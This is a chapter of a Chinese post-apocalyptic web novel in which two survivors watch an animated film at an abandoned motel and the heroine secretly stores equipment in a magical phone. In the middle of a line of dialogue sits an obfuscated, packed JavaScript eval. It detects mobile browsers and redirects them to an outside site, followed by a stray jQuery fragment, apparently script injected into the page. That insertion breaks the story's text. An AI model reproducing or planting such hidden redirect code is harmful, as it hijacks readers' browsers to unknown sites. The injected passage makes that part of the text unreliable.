白睨从黄铜挂架上取下一条毛巾，一边擦拭头发，一边走出浴室。米哈伊尔正靠坐在电视前面，仔细打量手里的盒子。她拉开直背木椅，举起吹风机，“你在做什么？”


    “电视下有DVD机。”他拍拍电视柜上的黑色方盒，边角光滑圆润，面板上按键泛黄，不知机子是二手还是刻意做旧的。白睨从柜子旁的编织筐里取出两个碟片盒，盒身已有磨损，但颜色依然鲜艳，看名字都是经典影片。


    “你想看电影？”


    米哈伊尔点点头，放下手里的碟片盒，拿起另一个，“机会难得啊，以后不一定能在屏幕上看到动的图像了。”


    白睨放下吹风机，也在编织筐旁选起碟片，一时忘了湿漉漉的头发，“那你选好看哪部了吗？”


    末日发生后，除了基础生存物资，文化造物其实也是稀缺资源。尤其在把几乎所有书籍和电子设备遗弃在公寓楼后，她对人造的故事和影像的渴望与日俱增。


    影片种类还挺多的，文艺片、动作片、悬疑片、爱情片、惊悚片、灾难片……虽然她曾是惊悚片和灾难片的爱好者，但现在这两种片子她是真的不想看。


    米哈伊尔突然把一盒碟片压在胸前，冲她挑眉，“选好了。”


    “你选了什么？”她伸出手，却被他躲了过去。


    “耐心，等会儿你就知道了。”米哈伊尔一副神秘的样子。


    白睨也不和他计较，反而考虑起另一件事。


    看电影怎么能不吃点东西呢？虽然时间很晚了，但他们晚饭还没吃，正好做点宵夜。


    “看电影的话也不用吃的太正经。”她略一思考，道：“要不吃零食？”


    检查旅馆时他们确定这应该是家庭经营的公路旅馆，二楼有一间明显不同于客房的套房，空间更大，隔开起居区和卧室，生活痕迹密集。但床铺上胡乱堆着大人和小孩的衣物，柜子和抽屉大开，厨房里没剩下一点食材，暗示着屋主曾匆忙地收拾行李离开。


    但百密一疏，他们忘记了一楼拐角里的贩卖机。


    机器里都是一些耐放的零食和饮料，消化饼干、蛋白棒、坚果混合包、软糖……商品价格标签都还亮着。米哈伊尔又拿出他那万能的曲别针，在投币口下方的维护锁里一转，门就打开了。


    白睨取走里面的胡椒味小香肠、洋葱味薯片、盐焗腰果、奶酪饼干、巧克力棒和水，来到二楼的家庭厨房，开始做“极速晚餐”。


    先将盐焗腰果倒进保鲜袋里，用擀面杖碾成颗粒；接着，她拿出背包里的干粮面包，在两个盘子上各放一片，摆上几粒速食香肠，抹上饼干组合里的奶酪酱，撒上腰果粉末，放进微波炉叮一分钟。


    再将薯片装入刚才的保鲜袋中碾成颗粒和粉末，分别倒入两个小碗里，加入一点水，微波炉加热半分钟后取出；往碗里加入剩下的一点奶酪酱，充分搅拌，放进微波炉里再加热二十秒。


    余下的就很简单了，巧克力加水融化成巧克力酱，爆米花不拆袋加热。两份简易版的香肠奶酪披萨、两碗奶香洋葱土豆泥，一盘饼干配巧克力蘸酱，一袋盐味爆米花，和两瓶汽水，组成了他们的电影节晚餐。


    白睨把托盘放在两床之间的小柜上，关掉顶灯，只留下床头昏黄的壁灯。光线暗下来，房间像被慢慢包进一个柔软的壳中。米哈伊尔终于把那盒子拆开，DVD机伸出黑舌，将影碟缓缓卷进嘴里。


    片头动画开始播放。


    五分钟后，画面里一个穿着靴子的猫咪跳来跳去。


    “……认真的吗？动画片？”


    手里的披萨只咬了一口，白睨瞪着眼睛，差点给噎住，“你选了个动画片？”


    米哈伊尔塞了一大口土豆泥，“不好吗？现下不就该看点轻松的吗？”


    “我还以为你会喜欢看那种动作爽片。”


    “这也是动作爽片啊。”他指向电视，“你看它身法多灵活？”


    “喵！”屏幕里的橘猫在空中转了个大风车。


    白睨无言以对。


    “你别瞧不起动画影片，”米哈伊尔“咔嚓”一声打开汽水罐拉环，气泡咕噜噜冒出来，“梦想、冒险、爱人，永远是最经典的。不工作的时候我不爱想那么多，人生就多少年啊，为什么要浪费在纠结上。”


    “我没有看不起动画片，”白睨慢慢咽下披萨，“只是觉得……出乎意料。”


    “向你介绍不一样的我，”男人耸肩，“梦想就是冒险和爱人，爱好就是看动画片……撇去这些，电影本身就很好看，你会喜欢的。”


    不知道为什么他这么笃定，但是开场确实不错，白睨喝着汽水不再出声。


    一个小时后。


    “你还喝汽水吗？”


    对方没有反应。


    米哈伊尔耐着性子又问了一遍：“你要喝其他饮料吗？你咬那易拉罐边已经咬了十几分钟了。”


    “哦。”白睨眼睛还盯着电视屏幕，一伸手，把顶部被咬开半圈的易拉罐递给他。


    ……他看她也是铁齿铜牙。


    米哈伊尔默默从床边换了塑料瓶的饮料给她


    在塑料瓶口的螺旋纹快被白睨咬变形前，这部动画片总算落下帷幕，侠客在冒险结束后重新踏上旅途，获得了鲜花也如愿收获美猫的青睐。


    眨眨发干的眼睛，正常理智终于归位，白睨把塑料瓶丢进床边的垃圾桶，心想这部片子确实不错。


    放松地靠在床头，她忽然意识到，自己已经很久没有这样，不去思考下一步该怎么做、物资还剩多少、其他角色存着什么心思了。


    眼前只有一个纯粹、鲜活的生命，在为想守护的东西奔走、追逐，不纠结，不菲薄。


    虽然那些简单的道理她都懂，但亲眼看过就是不一样，可能这就是人类文化造物的魅力。


    她一下子对自己要用图片上传功能做什么有了主意——明天临走前，她要把DVD机带走。DVD不算很大，可以被收纳；不小，亲自搬很费劲，存在手机里正好。更重要的是，等他们找到稳定落脚的地方，她可以把DVD机随便丢在一处，佯装是他们幸运捡到的。


    然后就能在末日小屋里美美看影片了。


    既然这样——其他的家具是否也能这样？虽然存储空间不大，但是装几件小型家具还是可以的。


    一个计划在她脑海里成型。


    ·


    第二天早上，枕边的手机嗡嗡震动。白睨眼睛还未睁开，手已经一把关掉闹钟。


    另一张床上的米哈伊尔动了动，胳膊从被子里探出来，压住额头，喉咙里发出一声含糊的低哼。过了两秒，他才慢慢睁开眼，视线在昏暗里寻找她的身影。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877709|189694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……几点？”声音低哑，显然还没完全醒。


    见她已经坐起身，他抬手看表，“六点？要这么早起吗？”


    白睨披上外套，道：“我饿了，找点吃的。”


    见米哈伊尔迷迷糊糊坐起来，她赶紧过去把他摁下，“哎，你想睡就多睡会儿，我很快就上来。”


    不等对方说话，她快速拿起棒球棍和手机，离开了房间。


    悄悄来到隔壁房间，白睨对着DVD机和影碟盒一通拍照，图像上传的瞬间现实物品原地消失，两串代码由[NULL]发送在对话框里。


    完成第一步，她轻手轻脚地关上房门，沿着楼梯下到一楼。


    六点的天空已亮，阳光透过窗户照进旅馆，形成明亮的矩形光斑，地上亮晶晶的……哦，是玻璃渣。


    若不是地上的玻璃渣和污渍，这美拉德色系的复古风客厅还算温馨。


    踏下台阶，谨慎地绕开碎渣和破碎的画像，她正准备去一楼尽头的工具间，忽然发现脚边的方框小一些，似乎不是风景画。她小心翼翼地捏住一角，将其提起，看清这是一幅全家福。照片里是一家三口，小女孩被父亲抱在怀里，一手牵着母亲，背景应该是他们停车的那棵橡树下。


    想起套房里的儿童房，她猜测这应该是旅馆主人一家。


    乔伊，听名字像是女性，会是这位母亲或女儿么？


    白睨留了个心眼，用手机拍下这张照片，继续往走廊尽头的工具间走去。


    工具间倒维持着原来整洁的风格，工具架、工具箱、手工台、手锯和清洁机器都摆得齐整。靠墙的地面上，一台逆变器、一台充电控制器并排放着，底部垫着旧木板防潮。这才是白睨的目的。


    普通家具可以用建材和工具手搓，精密设备和基础工具可不行。等他们找到栖身之所，必然要考虑能源系统，不如现在就开始“囤货”。


    点开[NULL]的黑色头像，白睨给她觉得有用的设备和工具一一拍照上传。除了逆变器和充电控制器，电缆绳、蓄电池、保险丝、万用表、管钳等等，由大到小，从觉得有用到不知道有什么用，她通通拍照上传。原本满满当当的工具间，一下子空了不少。


    白睨拍去手上的灰尘，见手机还未提醒到达收纳空间上限，便来到房子外面，将镜头对准屋顶的六块太阳能面板，拍下照片。暂时没有点击上传，她直接将手机熄屏，准备等上车后再收走东西，避免米哈伊尔一出门发现异样。


    她刚转身回到旅馆门口，就听见楼梯上咚的一声。


    一把步枪正对准门口，米哈伊尔披着睡衣外套，一脸警惕。看清门口的身影，他放低枪口，尴尬地清了清嗓子，“你去哪儿了？”


    她说谎不打草稿的技术愈发炉火纯青，“出去看了眼车子，确认还在不在。”


    “还是不要单独行动了，万一遇到点啥呢。”米哈伊尔抓抓凌乱的头发，拉开贩卖柜门，撕开包装叼了块饼干，边嚼边道，“要收拾东西吗？半个小时候出发的话，中午大概就能到托斯克洛德的木费镇。”


    白睨点点头。


    木费镇（Woodfell），去年秋季她曾来旅游过。那时她坐火车而来，轨道从草坡间穿过，将她从砖红色的工业城市带入这个节奏缓慢的蜂蜜色小镇。


    此番也算故地重游，却恍如隔世。